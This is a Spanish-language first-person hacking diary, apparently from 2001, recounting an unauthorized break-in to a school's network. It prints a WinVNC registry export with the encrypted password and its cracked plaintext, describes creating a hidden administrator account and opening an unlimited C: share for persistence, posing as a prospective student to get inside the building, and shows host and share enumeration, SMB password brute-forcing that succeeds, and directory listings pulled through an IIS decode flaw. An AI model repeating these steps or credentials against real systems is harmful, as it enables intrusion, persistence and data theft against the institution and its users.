[HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3]

[HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3\Default]
"SocketConnect"=dword:00000001
"AutoPortSelect"=dword:00000001
"InputsEnabled"=dword:00000001
"LocalInputsDisabled"=dword:00000000
"QuerySetting"=dword:00000002
"QueryTimeout"=dword:0000000a
"Password"=hex:31,7e,8c,c0,4a,5e,14,3a
"PollUnderCursor"=dword:00000000
"PollForeground"=dword:00000001
"PollFullScreen"=dword:00000000
"OnlyPollConsole"=dword:00000001
"OnlyPollOnEvent"=dword:00000000

ven donde dice password hex:31,7e,8c,c0,4a,5e,14,3a: es la contraseña encriptada que en este caso fue :

proydesa

que contraseña de mierda!!

una vez que coloque ese pass entre al server... pero me encontre con otra traba: el servidor no estaba logueado osea estaba bloquedo //claro si eran la 4 de la mañana!!!

entonces tuve que intentar a eso de las nueve de la mañana hasta que encontré la maquina logueda.  una vez que estaba logueda.  con el comando net user me cree una cuenta y con el comando net localgroup la añadi al grupo administradores, y me desconecte para volver a la noche.  de mas esta decir que ese server lo mantuve durante un mes aprox hasta que el administrador descubrio la cuenta y la deshabitara. Igual me importaba una mierda ya que esa maquina ahora compartía recursos para todos jej  (net share =c:"unlimited")

-------------------------------------------------------------------------------------------------------------

Ingreso físico al establecimiento sede 1(yatay 240) sede 2 (av.libertador).

Para ingresar al establecimiento (sede 1 o 2) los alumnos muestran una credencial como esta:

 front                                                            

                                                

back

Otra forma de ingresar (pero comprometida) es ingresar como cualquier campeón para pedir información de las carreras que ofrecen.  Ahí les pedirán sus datos y anotaran la hora de entrada y salida al establecimiento.

------------------------------------------------------------------------------------------------------------------------------------------------------

 

Una vez dentro del infierno

En el segundo piso de la sede 1 hay 2 (dos) laboratorios de computadoras uno es el de internet (si..!! en el que hay 10 pc con w98 y un servidor w2k server (version ingles) que describí mas arriba) y otro con una seria de pc con w98 y varios servidores.  Al ingresar a este me senté en una terminal con w98 y me loguie como un estudiante mas.

usuario publico sin contraseña . con derechos de usuarios. entonces abrí una consola, perdon una sesion dos y escribi arp -a

 arp -a


Interfaz: 10.4.1.46 on Interface 0x1000002
Direcci¢n IP Direcci¢n f¡sica Tipo
10.4.1.180 00-80-ad-c8-20-a7 din mico
10.4.1.207 00-01-02-7a-e2-a1 din mico
10.4.1.251 00-01-02-6b-9b-70 din mico
10.4.1.254 08-00-09-6b-29-30 din mico
10.4.8.5 00-01-02-3d-9a-93 din mico
 

luego net view

Servidores disponibles en el grupo de trabajo LAB-COMPUT.
Nombre del servidor Destacar
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
\\CAM01 Description
\\CAM03 Description
\\CAM04 Description
\\CAM05 Description
\\CAM06 Description
\\CAM07 Description
\\CAZ01 Description
\\CAZ02 Description
\\CAZ03 Description
\\CAZ05 Description
\\CAZ06 Description
\\CBE01 Description
\\CBE02 Description
\\CBE03 Description
\\CBE04 Description
\\CBE06 Description
\\CBL02 Description
\\CBL03 Description
\\CBL04 Description
\\CBL05 Description
\\CCE01 Description
\\CCE02 Description
\\CCE03 Description
\\CCE04 Description
\\CCE05 Description
\\CCE06 Description
\\CGR01 Description
\\CGR02 Description
\\CGR04 Description
\\CGR05 Description
\\CGR06 Description
\\CLEOPATRA
\\CMA01 Description
\\CMA02 Description
\\CMA03 Description
\\CMA04 LABORATORIO DE COMPUTACI_N
\\CMA05 Description
\\CMA06 Description
\\CMA07 Description
\\CNA02 Description
\\CNA03 Description
\\CNA06 Description
\\CNA08 Description
\\CNE01 Description
\\CNE02 Description
\\CNE03 Description
\\CNE04 Description
\\CNE06 Description
\\COSA
\\CRO01 Description
\\CRO02 Description
\\CRO03 Description
\\CRO04 Description
\\CRO05 LABORATORIO DE COMPUTACI_N
\\CRO06 Description
\\CRO07 Description
\\CRO08 Description
\\CVE01 Description
\\CVE02 Description
\\CVE03 Description
\\CVE04 Description
\\CVE05 Description
\\CVE06 Description
\\CVE08 Description
\\CVI03 Description
\\CVI05 Description
\\CVI06 Description
\\DEDOS
\\HOMERO
\\HPVE4 LABORATORIO DE COMPUTACI_N
\\HPVL4002 LABORATORIO DE COMPUTACI_N
\\IMGSASA123456 ORTsa
\\INET_05 Description
\\LKRISTAL LABORATORIO DE COMPUTACION
\\LUCAS
\\LUM_05 Laboratorio de Usos Multiples
\\MERLINA
\\NGUTIERR NGUTIERR
\\PCAYTES AYTES
\\PCVIDEO PCVIDEO
\\PERICLES
El comando se complet¢ correctamente.
 de estos elegi a CLEOPATRA

Recursos compartidos en \\CLEOPATRA

Nombre compartidoEscribir Comentario
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Marketing Disco
El comando se complet¢ correctamente.
 

compartía recursos y con net use los obtuve

G: conectado a \\CLEOPATRA\MARKETING.

pero no había una mierda solo boludeces

después me puse a probar otras maquinas

Servidores disponibles en el grupo de trabajo ELECTRONICA.
Nombre del servidor Destacar
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
\\CNA08 Description
\\HP_233_01 Electronica
\\HP_233_11 Electronica
\\NT_E1
\\PA¥OL2 Electronica
El comando se complet¢ correctamente.

Recursos compartidos en \\NT_E1

Nombre compartidoEscribir Comentario
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Alumnos Disco Alumnos de Electronica
CD-ROM Disco
EAdmin Disco
EpsonSty Imprimir Epson Stylus 1000 232
Images Disco
NETLOGON Disco Logon server share
Programas Disco
progs Disco
PUBLICO Disco
SECUNDARIO Disco
TERCIARIO Disco
Users Disco
VPHOME Disco Virus Protect
VPLOGON Disco Virus Protect
El comando se complet¢ correctamente.

El volumen de la unidad K es WINNT4
Directorio de K:\

. <DIR> 29/08/01 14.13 .
.. <DIR> 29/08/01 14.13 ..
Alum4 bat 419 17/04/01 11.19 Alum4.bat
Alum5 bat 419 17/04/01 11.19 Alum5.bat
Alum6 bat 419 17/04/01 11.19 Alum6.bat
Config pol 78.088 29/08/01 14.09 Config.pol
COPIAD~2 POL 78.088 14/03/01 11.46 Copia de CONFIG.POL
COPIAD~1 POL 78.088 30/06/00 12.13 Copia de CONFIG.POL 2000
DANIBA~1 OLD 385 11/10/00 0.32 dani.bat.old
materias bat 336 08/05/00 12.00 materias.bat
NORMAT~1 TXT 818 15/10/99 11.48 Normativa.txt
ProduMus bat 378 08/05/00 12.00 ProduMus.bat
PROFES~1 BAT 362 08/08/01 8.14 profesores.bat
ProfSec bat 385 11/10/00 0.27 ProfSec.bat
ProfTer bat 372 08/08/01 8.14 ProfTer.bat
publico bat 390 21/05/01 11.31 publico.bat
14 archivos 238.947 bytes
2 directorios 334.364.672 bytes libres

El volumen de la unidad Q es WINNT4
Directorio de Q:\

. <DIR> 03/09/01 7.37 .
.. <DIR> 03/09/01 7.37 ..
Alert <DIR> 26/02/01 12.02 Alert
AMS2 <DIR> 26/02/01 12.03 AMS2
AMSAdmin exe 135.168 22/12/00 7.51 AMSAdmin.exe
amscust dll 32.768 22/12/00 7.51 amscust.dll
AMSSERVR isu 46.159 05/03/01 15.40 AMSSERVR.isu
chan32i dll 55.296 18/09/00 17.16 chan32i.dll
Cliproxy dll 159.744 22/12/00 7.51 Cliproxy.dll
Cliscan dll 237.568 22/12/00 7.51 Cliscan.dll
clninst bat 293 18/09/00 17.22 clninst.bat
clt-inst <DIR> 05/03/01 15.34 clt-inst
country dat 3.971 20/09/00 16.08 country.dat
dec2 dll 12.288 15/12/00 18.03 dec2.dll
dec2amg dll 20.480 15/12/00 18.03 dec2amg.dll
dec2arj dll 19.968 15/12/00 18.03 dec2arj.dll
dec2id dll 10.240 15/12/00 18.03 dec2id.dll
dec2lha dll 18.944 15/12/00 18.03 dec2lha.dll
dec2lz dll 14.848 15/12/00 18.03 dec2lz.dll
dec2mime dll 34.304 15/12/00 18.03 dec2mime.dll
Dec2RTF dll 19.456 15/12/00 18.03 Dec2RTF.dll
Dec2SS dll 20.480 15/12/00 18.03 Dec2SS.dll
Dec2UUE dll 17.408 15/12/00 18.03 Dec2UUE.dll
dec2zip dll 145.920 15/12/00 18.03 dec2zip.dll
defannty dll 421.888 22/12/00 7.51 defannty.dll
default hst 6.003 18/09/00 17.16 default.hst
DEFLOC DAT 68 05/03/01 15.39 DEFLOC.DAT
defwatch exe 32.768 22/12/00 7.51 defwatch.exe
dwhwizrd exe 393.216 22/12/00 7.51 dwhwizrd.exe
enuact cnt 823 22/12/00 7.51 enuact.cnt
enuccm hlp 98.597 03/10/00 5.31 enuccm.hlp
enucore hlp 120.773 22/12/00 7.51 enucore.hlp
enuctls hlp 80.717 22/12/00 7.51 enuctls.hlp
enudlgs hlp 76.433 22/12/00 7.51 enudlgs.hlp
enugloss hlp 29.005 22/12/00 7.51 enugloss.hlp
enulotus hlp 94.803 22/12/00 7.51 enulotus.hlp
enuopt cnt 906 22/12/00 7.51 enuopt.cnt
enutask hlp 94.461 22/12/00 7.51 enutask.hlp
enuview hlp 135.206 22/12/00 7.51 enuview.hlp
enuvpc32 cnt 21.324 22/12/00 7.51 enuvpc32.cnt
enuvpui hlp 35.848 22/12/00 7.51 enuvpui.hlp
enuxchng hlp 94.771 22/12/00 7.51 enuxchng.hlp
filter dat 3.056.104 20/09/00 16.08 filter.dat
GRC DAT 3.314 03/09/01 7.06 GRC.DAT
i2ldvp3 dll 241.664 22/12/00 7.51 i2ldvp3.dll
I2_LDVP VDB <DIR> 03/09/01 7.37 I2_LDVP.VDB
intelbbs scr 481 18/09/00 17.16 intelbbs.scr
invupd dll 46.592 18/09/00 17.16 invupd.dll
langs <DIR> 05/03/01 15.36 langs
ldcminst dll 96.256 18/09/00 17.16 ldcminst.dll
ldvpreg exe 28.672 22/12/00 7.51 ldvpreg.exe
loc32vc0 dll 77.824 18/09/00 17.16 loc32vc0.dll
logon <DIR> 03/09/01 7.37 logon
luawrap exe 36.864 22/12/00 7.51 luawrap.exe
luhstedt dll 36.864 22/12/00 7.51 luhstedt.dll
N32call dll 57.344 22/12/00 7.51 N32call.dll
N32vlist dll 153.600 22/12/00 7.51 N32vlist.dll
navap sys 171.872 22/12/00 7.51 navap.sys
navap32 dll 37.888 22/12/00 7.51 navap32.dll
Navapel sys 7.888 22/12/00 7.51 Navapel.sys
navapi32 dll 208.896 03/08/00 19.08 navapi32.dll
navcust2 dll 241.664 22/12/00 7.51 navcust2.dll
NavInsNT dll 397.312 22/12/00 7.51 NavInsNT.dll
navlogon dll 32.768 03/10/00 5.31 navlogon.dll
navlu dll 61.440 22/12/00 7.51 navlu.dll
navnt 000 123.422 26/02/01 12.03 navnt.000
navnt isu 123.422 26/02/01 12.03 navnt.isu
navntutl dll 49.152 22/12/00 7.51 navntutl.dll
NAVSetup <DIR> 05/03/01 15.40 NAVSetup
nnewdefs dll 40.960 22/12/00 7.51 nnewdefs.dll
patch32i dll 72.704 18/09/00 17.16 patch32i.dll
platform dat 103 20/09/00 16.08 platform.dat
pscan sys 43.040 18/09/00 17.16 pscan.sys
qscomm32 dll 45.056 22/12/00 12.08 qscomm32.dll
qsinfo dll 36.864 22/12/00 12.08 qsinfo.dll
qspak32 dll 65.536 22/12/00 2.01 qspak32.dll
rtvscan exe 430.080 22/12/00 7.51 rtvscan.exe
S32navp dll 468.992 22/12/00 7.51 S32navp.dll
SCANDLVR DLL 81.920 22/12/00 7.51 SCANDLVR.DLL
scandres dll 339.968 22/12/00 7.51 scandres.dll
sdflt32i dll 87.552 20/09/00 16.08 sdflt32i.dll
sdpck32i dll 174.080 20/09/00 16.08 sdpck32i.dll
sdsnd32i dll 38.400 20/09/00 16.08 sdsnd32i.dll
sdsok32i dll 44.032 20/09/00 16.08 sdsok32i.dll
sdstp32i dll 58.368 20/09/00 16.08 sdstp32i.dll
Smstr32i dll 22.528 20/09/00 16.08 Smstr32i.dll
symamg32 dll 70.656 15/12/00 18.03 symamg32.dll
SymClnUp exe 28.672 22/12/00 7.51 SymClnUp.exe
symlha dll 47.616 15/12/00 18.03 symlha.dll
VD0E2803 VDB 3.365.903 20/08/01 1.00 VD0E2803.VDB
VD0E2C02 VDB 3.370.121 22/08/01 1.00 VD0E2C02.VDB
VD0E2C20 VDB 3.371.326 22/08/01 1.00 VD0E2C20.VDB
VD0E3A20 VDB 3.377.222 29/08/01 1.00 VD0E3A20.VDB
VD0E3C11 VDB 3.377.430 30/08/01 1.00 VD0E3C11.VDB
vpc32 exe 229.376 22/12/00 7.51 vpc32.exe
vpdebug log 2.516 31/08/01 17.23 vpdebug.log
vpdn_lu exe 32.768 22/12/00 7.51 vpdn_lu.exe
vpdown exe 94.446 18/09/00 17.16 vpdown.exe
vpremote dat 17 18/09/00 17.16 vpremote.dat
vpremote exe 40.448 18/09/00 17.16 vpremote.exe
vpsrvcli inf 7.336 18/09/00 17.16 vpsrvcli.inf
vpstart exe 220.672 18/09/00 17.16 vpstart.exe
vpstop exe 19.456 18/09/00 17.16 vpstop.exe
vptray exe 53.248 22/12/00 7.51 vptray.exe
xfer <DIR> 08/03/01 12.13 xfer
_ISNAVNT ULG 160 05/03/01 15.39 _ISNAVNT.ULG
96 archivos 27.793.788 bytes
10 directorios 334.364.672 bytes libres
Recursos compartidos en \\ELEC_232_02

Nombre compartidoEscribir Comentario
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
D Disco
El comando se complet¢ correctamente.
 

luego mi dirigí al servidor pericles que era un viejo NT 4.o con sp6 donde gracias al puerto 139 empece con el nat

* Checking 10.4.1.251 ...
* Trying username "ADMINISTRATOR", password "": failed
* Trying username "ADMINISTRATOR", password "ADMINISTRATOR": failed
* Trying username "ADMINISTRATOR", password "GUEST": failed
* Trying username "ADMINISTRATOR", password "ROOT": failed
* Trying username "ADMINISTRATOR", password "ADMIN": failed
* Trying username "ADMINISTRATOR", password "PASSWORD": failed
* Trying username "ADMINISTRATOR", password "TEMP": failed
* Trying username "ADMINISTRATOR", password "SHARE": failed
* Trying username "ADMINISTRATOR", password "WRITE": failed
* Trying username "ADMINISTRATOR", password "FULL": failed
* Trying username "ADMINISTRATOR", password "BOTH": failed
* Trying username "ADMINISTRATOR", password "READ": failed
* Trying username "ADMINISTRATOR", password "FILES": failed
* Trying username "ADMINISTRATOR", password "DEMO": failed
* Trying username "ADMINISTRATOR", password "TEST": failed
* Trying username "ADMINISTRATOR", password "ACCESS": failed
* Trying username "ADMINISTRATOR", password "USER": failed
* Trying username "ADMINISTRATOR", password "BACKUP": failed
* Trying username "ADMINISTRATOR", password "SYSTEM": failed
* Trying username "ADMINISTRATOR", password "SERVER": failed
* Trying username "ADMINISTRATOR", password "LOCAL": failed
* Trying username "GUEST", password "": failed
* Trying username "GUEST", password "ADMINISTRATOR": failed
* Trying username "GUEST", password "GUEST": failed
* Trying username "GUEST", password "ROOT": failed
* Trying username "GUEST", password "ADMIN": failed
* Trying username "GUEST", password "PASSWORD": failed
* Trying username "GUEST", password "TEMP": failed
* Trying username "GUEST", password "SHARE": failed
* Trying username "GUEST", password "WRITE": failed
* Trying username "GUEST", password "FULL": failed
* Trying username "GUEST", password "BOTH": failed
* Trying username "GUEST", password "READ": failed
* Trying username "GUEST", password "FILES": failed
* Trying username "GUEST", password "DEMO": failed
* Trying username "GUEST", password "TEST": failed
* Trying username "GUEST", password "ACCESS": failed
* Trying username "GUEST", password "USER": failed
* Trying username "GUEST", password "BACKUP": failed
* Trying username "GUEST", password "SYSTEM": failed
* Trying username "GUEST", password "SERVER": failed
* Trying username "GUEST", password "LOCAL": succeeded
* Obtained share list:
NETLOGON Logon server share
VPHOME Virus Protect
imagenesante
tallerdb$
ADMIN$ Remote Admin
REPL$
IPC$ Remote IPC
EAdmin SoftPrue
C$ Default share
curso
D$ Default share
VPLOGON Virus Protect
web6iB Inetpub para 6iB TIC
web6IA Inetpub para 6iA TIC
web6IC Inetpub para 6iC TIC
Aventura
E$ Default share
wwwroot Sólo para Labo
ETO Web de la ETO I
PFinal
MUESTRATM
F$ Default share
DAdmin
CD-ROM CD-ROM en Pericles
CAdmin
WebBiblio
WebInstituto Acceso al WebInstituto
CursoASP
Profes
Mails Mails de la intranet
SoftPrue ReadOnly para todos
RinemBerg Ex alumno TIC 2000
FAdmin
VPALERT$ Virus Protect
taller
TGames
AlumASP01
* Checking share NETLOGON: access denied
* Finished checking 10.4.1.251

de todo esto obtuve de ese server los archivos de login donde se loguean todos los usuarios para verlos vayan a la carpeta:

aisle\chapter2.aisle\ort_intr.aisle\netlogon

y tambien el de los profes a:

aisle\chapter2.aisle\ort_intr.aisle\profesores

tambien aqui liste los directorios. del disco C (por el fallo del decode )los del disco D tenia acceso denegado POR Ahora!!

Directory of c:\

09/08/00 09:11 267 64f75808.cnm
16/03/98 13:38 48 AUTOEXEC.1
16/03/98 13:38 48 AUTOEXEC.BAT
30/09/93 03:20 54.619 COMMAND.COM
16/03/98 13:30 70 CONFIG.BAK
16/03/98 13:37 89 CONFIG.SYS
13/04/00 11:53 3 contfile.txt
17/03/98 12:01 <DIR> Crw
20/12/00 14:55 <DIR> Drivers NIC Pericles
12/06/98 12:59 <DIR> ESL835
30/09/93 03:20 29.136 HIMEM.SYS
01/03/99 12:12 <DIR> inetpub
26/09/00 18:07 <DIR> Logs de Eventos
31/05/94 03:22 25.521 MSCDEX.EXE
17/03/98 12:06 <DIR> MSSQL
01/03/99 10:19 <DIR> Multimedia Files
12/07/99 16:23 <DIR> NTResKit
10/07/01 07:36 145.752.064 pagefile.sys
27/02/01 19:36 <DIR> Program Files
01/03/99 11:31 428 proxy.ini
01/03/99 15:35 <DIR> QMService
16/03/98 13:25 <DIR> SCSI
30/09/93 03:20 45.145 SMARTDRV.EXE
01/04/98 22:45 5.242.880 SMSData.DAT
01/04/98 22:45 1.048.576 SMSLog.DAT
01/03/99 10:48 0 SQL.LOG
27/06/01 13:01 <DIR> TEMP
30/05/01 19:01 17 testfile.txt
05/06/01 13:49 24 tp03.txt
07/07/99 17:16 4.508 WebRestart
10/07/01 20:34 <DIR> WINNT
31 File(s) 152.203.443 bytes
1.241.153.536 bytes free
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Tue, 10 Jul 2001 23:44:23 GMT
Content-Type: application/octet-stream
Volume in drive E is Alumnos
Volume Serial Number is 08AC-B031

Directory of e:\

18/04/01 17:10 <DIR> imagenesanteultimas
24/04/01 13:09 <DIR> Mails
20/10/99 09:11 <DIR> Mssql
04/06/01 16:44 <DIR> PFinal
10/07/01 15:44 <DIR> TGames
23/05/01 14:57 <DIR> TM
6 File(s) 0 bytes
1.169.502.208 bytes free
range1=10.0.0.0 10.255.255.255 Class A Private Range
range2=172.16.0.0 172.31.255.255 Class B Private Range
range3=192.168.0.0 192.168.255.255 Class C Private Range
range4=127.0.0.0 127.255.255.255 Local Loopback Address
range5=172.32.1.0 172.32.1.255 Network Card: <RTL80291>
range6=172.32.255.255 172.32.255.255 Network Card: <RTL80291>
range7=224.0.0.0 255.255.255.254 Local Loopback Addresmartop
yhqwnb2
infor
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Thu, 12 Jul 2001 01:17:08 GMT
Content-Type: application/octet-stream
Volume in drive C is PERICLES
Volume Serial Number is 7CE5-16F1


Directory of c:\

13/04/00 11:53 3 contfile.txt
30/05/01 19:01 17 testfile.txt
05/06/01 13:49 24 tp03.txt
3 File(s) 44 bytes

Directory of c:\Crw

20/06/95 00:00 5.750 LABELS.TXT
05/12/96 09:56 4.373 readme.txt
2 File(s) 10.123 bytes

Directory of c:\Drivers NIC Pericles\Disk1

13/01/99 16:19 7.471 LICENSE.TXT
13/06/00 17:39 29.052 README.TXT
2 File(s) 36.523 bytes

Directory of c:\Drivers NIC Pericles\Disk2

13/01/99 16:19 7.471 LICENSE.TXT
13/06/00 17:39 29.052 README.TXT
20/06/00 18:14 3.669 ROADMAP.TXT
3 File(s) 40.192 bytes

Directory of c:\Drivers NIC Pericles\Disk2\HELP

02/11/99 14:28 2.217 ADVCONFG.TXT
01/06/99 14:22 1.620 CLIENT32.TXT
01/06/99 14:27 12.522 DOSDIAG.TXT
01/06/99 14:29 730 ISVLIST.TXT
04/06/99 13:54 4.643 NETWARE.TXT
01/06/99 14:41 5.218 NWDOSODI.TXT
01/06/99 14:42 3.161 PACKET.TXT
01/06/99 14:44 4.083 SUPPORT.TXT
01/06/99 14:45 2.584 TROUBLE.TXT
03/01/00 10:21 10.638 UNT_NT4.TXT
03/01/00 10:24 11.831 UNT_W98.TXT
03/01/00 10:18 17.660 W95NDIS.TXT
01/06/99 16:06 9.179 W95NETWR.TXT
01/06/99 16:17 6.577 WAKEFAQ.TXT
01/06/99 16:18 4.060 WFWNDIS.TXT
01/06/99 16:21 5.427 WFWNETWR.TXT
04/01/00 09:53 7.800 WIN2000.TXT
25/05/00 17:22 17.631 WIN98.TXT
01/06/99 16:23 1.663 WINDOWS.TXT
02/06/99 06:44 15.749 WINNT.TXT
20 File(s) 144.993 bytes

Directory of c:\Drivers NIC Pericles\Disk2\PKTDVR

29/01/99 14:23 3.215 PACKET.TXT
1 File(s) 3.215 bytes

Directory of c:\ESL835

12/06/98 12:59 1.654 MSNT40.TXT
1 File(s) 1.654 bytes

Directory of c:\Logs de Eventos

26/09/00 18:06 380.735 application.txt
26/09/00 18:05 509.539 security.txt
26/09/00 18:05 733.464 system.txt
3 File(s) 1.623.738 bytes

Directory of c:\MSSQL\INSTALL

18/11/96 01:38 18.518 5LAKES.TXT
18/11/96 01:38 1.476 ALGODATA.TXT
18/11/96 01:38 675 BINNET.TXT
18/11/96 01:38 114 GGGG.TXT
18/11/96 01:38 544 LUCERNE.TXT
18/11/96 01:38 65.073 NEWMOON.TXT
18/11/96 01:38 131 RAMONA.TXT
18/11/96 01:38 4.794 README.TXT
18/11/96 01:38 135 SCOOTNEY.TXT
9 File(s) 91.460 bytes

Directory of c:\MSSQL\SQLOLE\SAMPLES

18/11/96 01:38 2.112 README.TXT
1 File(s) 2.112 bytes

Directory of c:\NTResKit

19/04/99 21:01 2.888 AUTOEXNT.TXT
19/04/99 21:01 1.978 AUTOLOG.TXT
19/04/99 21:01 6.127 BREAKFTM.TXT
19/04/99 21:02 8.053 C2DLL.TXT
19/04/99 21:02 666 CLIP.TXT
19/04/99 21:38 1.585 DHCPCMD.TXT
19/04/99 21:03 1.813 DHCPLOC.TXT
19/04/99 21:38 3.766 DISKSAVE.TXT
19/04/99 21:38 2.040 DUMPEL.TXT
19/04/99 21:38 1.993 EXETYPE.TXT
19/04/99 21:05 2.320 FLOPLOCK.TXT
19/04/99 21:07 744 LOGTIME.TXT
19/04/99 21:38 4.437 NLMON.TXT
19/04/99 21:15 18.108 OS2API-1.TXT
19/04/99 21:15 25.952 OS2API.TXT
19/04/99 21:15 1.402 PULIST.TXT
19/04/99 21:38 2.749 RSHSVC.TXT
19/04/99 21:22 18.272 SC-DEV.TXT
19/04/99 21:38 2.015 SCANREG.TXT
19/04/99 21:23 14.504 SU.TXT
19/04/99 21:24 5.189 TMSRVFAQ.TXT
19/04/99 21:24 7.040 TMSRVHW.TXT
19/04/99 21:25 4.927 UPTOMP.TXT
19/04/99 21:25 1.249 USRTOGRP.TXT
19/04/99 21:25 4.293 VDESK.TXT
19/04/99 21:26 3.591 WINSCHK.TXT
19/04/99 21:26 9.501 WINSCL.TXT
27 File(s) 157.202 bytes

Directory of c:\Program Files\Common Files\Symantec shared\VirusDefs\20010607.020

06/06/01 22:00 6.479 ncsacert.txt
06/06/01 22:00 5.232 technote.txt
06/06/01 22:00 52.177 whatsnew.txt
3 File(s) 63.888 bytes

Directory of c:\Program Files\Common Files\Symantec shared\VirusDefs\20010613.022

12/06/01 22:00 6.479 ncsacert.txt
12/06/01 22:00 5.232 technote.txt
12/06/01 22:00 46.389 whatsnew.txt
3 File(s) 58.100 bytes

Directory of c:\Program Files\Common Files\Symantec shared\VirusDefs\BinHub

03/10/00 05:31 6.839 ncsacert.txt
03/10/00 05:31 5.232 technote.txt
03/10/00 05:31 18.941 whatsnew.txt
3 File(s) 31.012 bytes

Directory of c:\Program Files\Common Files\System\ADO

29/09/98 00:00 1.283 ADOMDreadme.txt
23/01/99 00:00 20.273 ADOreadme.txt
06/11/98 00:00 6.019 adoxreadme.txt
19/10/98 00:00 1.707 JroReadme.txt
23/06/99 00:00 21.037 MDACReadMe.txt
03/10/97 06:35 6.304 readme.txt
6 File(s) 56.623 bytes

Directory of c:\Program Files\Common Files\System\ADO\Docs

03/10/97 06:35 6.304 readme.txt
1 File(s) 6.304 bytes

Directory of c:\Program Files\Common Files\System\msadc

02/10/97 10:28 19.388 readme.txt
1 File(s) 19.388 bytes

Directory of c:\Program Files\Common Files\System\msadc\Doc11

02/10/97 10:28 14.201 readme.txt
1 File(s) 14.201 bytes

Directory of c:\Program Files\Common Files\System\msadc\Docs

02/10/97 10:28 19.388 readme.txt
1 File(s) 19.388 bytes

Directory of c:\Program Files\Common Files\System\OLE DB

16/06/98 00:00 7.258 JoltReadme.txt
25/09/98 00:00 2.160 MSDASC.TXT
25/09/98 00:00 1.023 MSDASQLreadme.txt
13/11/98 00:00 3.040 MSOrclOLEDBreadme.txt
16/06/98 00:00 3.768 SQLOLEDB.TXT
5 File(s) 17.249 bytes

Directory of c:\Program Files\Microsoft BackOffice

14/09/97 14:27 82 boscript.txt
14/09/97 14:27 46 CMDLINES.TXT
2 File(s) 128 bytes

Directory of c:\Program Files\Microsoft FrontPage

04/12/96 20:32 8.278 eula.txt
1 File(s) 8.278 bytes

Directory of c:\Program Files\NAV\clt-inst\DOS

18/09/00 17:12 18.443 RESCUE.TXT
1 File(s) 18.443 bytes

Directory of c:\Program Files\NAV\clt-inst\WIN32\VIRDEFS

22/12/00 07:51 6.479 NCSACERT.TXT
22/12/00 07:51 5.232 TECHNOTE.TXT
22/12/00 07:51 34.917 WHATSNEW.TXT
3 File(s) 46.628 bytes

Directory of c:\Program Files\NAV\I2_LDVP.VDB\VD0D9A16.VDB

12/06/01 22:00 6.479 ncsacert.txt
12/06/01 22:00 5.232 technote.txt
12/06/01 22:00 30.913 update.txt
12/06/01 22:00 46.389 whatsnew.txt
4 File(s) 89.013 bytes

Directory of c:\Program Files\NAV\langs\ENU\CLIENT16

18/09/00 17:12 7.777 ENULIC.TXT
1 File(s) 7.777 bytes

Directory of c:\Program Files\NAV\logon

18/09/00 17:22 5.805 enulic.txt
1 File(s) 5.805 bytes

Directory of c:\Program Files\Outlook Express

09/02/98 13:20 14.182 msimn.txt
1 File(s) 14.182 bytes

Directory of c:\Program Files\Plus!\Microsoft Internet

08/05/98 00:00 15.334 IE4.TXT
22/03/97 14:44 13.490 internet.txt
08/05/98 00:00 11.500 LICENSE.TXT
22/03/97 14:44 4.766 RALICENS.TXT
22/03/97 14:44 7.212 RAREADME.TXT
08/05/98 00:00 22.650 support.txt
6 File(s) 74.952 bytes

Directory of c:\Program Files\Plus!\Microsoft Internet\Connection Wizard

01/08/97 12:46 4.978 readme.txt
1 File(s) 4.978 bytes

Directory of c:\Program Files\Symantec\LiveUpdate

28/10/99 12:06 15.015 README.TXT
1 File(s) 15.015 bytes

Directory of c:\WINNT

04/04/00 16:01 6.281 Active Setup Log.txt
01/03/99 10:19 22.756 Bind List Log.txt
01/03/99 10:17 120.671 IE4 Setup Log.Txt
31/01/97 07:57 4.658 JavaDbg.txt
01/03/99 10:24 22.888 RunOnceEx Log.txt
16/03/98 19:29 138 setuplog.txt
01/03/99 10:19 956 Soft Boot Log.txt
7 File(s) 178.348 bytes

Directory of c:\WINNT\Help\iis\htm\tutorial

07/08/97 17:03 473 adrot.txt
20/10/97 09:24 594 adrot2.txt
2 File(s) 1.067 bytes

Directory of c:\WINNT\Help\iis\htm\tutorial\template

07/08/97 17:03 473 adrot.txt
1 File(s) 473 bytes

Directory of c:\WINNT\system32

13/04/00 12:08 17 contfile.txt
05/06/00 15:09 17 foto.txt
25/09/98 00:00 1.654 msoracle32readme.txt
17/11/96 22:38 4.010 probrep.txt
21/05/01 13:57 31 rapodabbah.txt
22/01/99 00:00 13.228 sqlsrdme.txt
31/05/01 08:37 0 test1.txt
24/05/01 11:14 40 testfile.txt
05/06/01 13:44 6 usuarios.txt
21/09/98 00:00 11.538 VFPODBC.TXT
10 File(s) 30.541 bytes

Directory of c:\WINNT\system32\inetsrv

13/10/97 08:36 4.000 ccodes.txt
1 File(s) 4.000 bytes

Directory of c:\WINNT\system32\ras

17/11/96 22:38 52.537 rasread.txt
1 File(s) 52.537 bytes

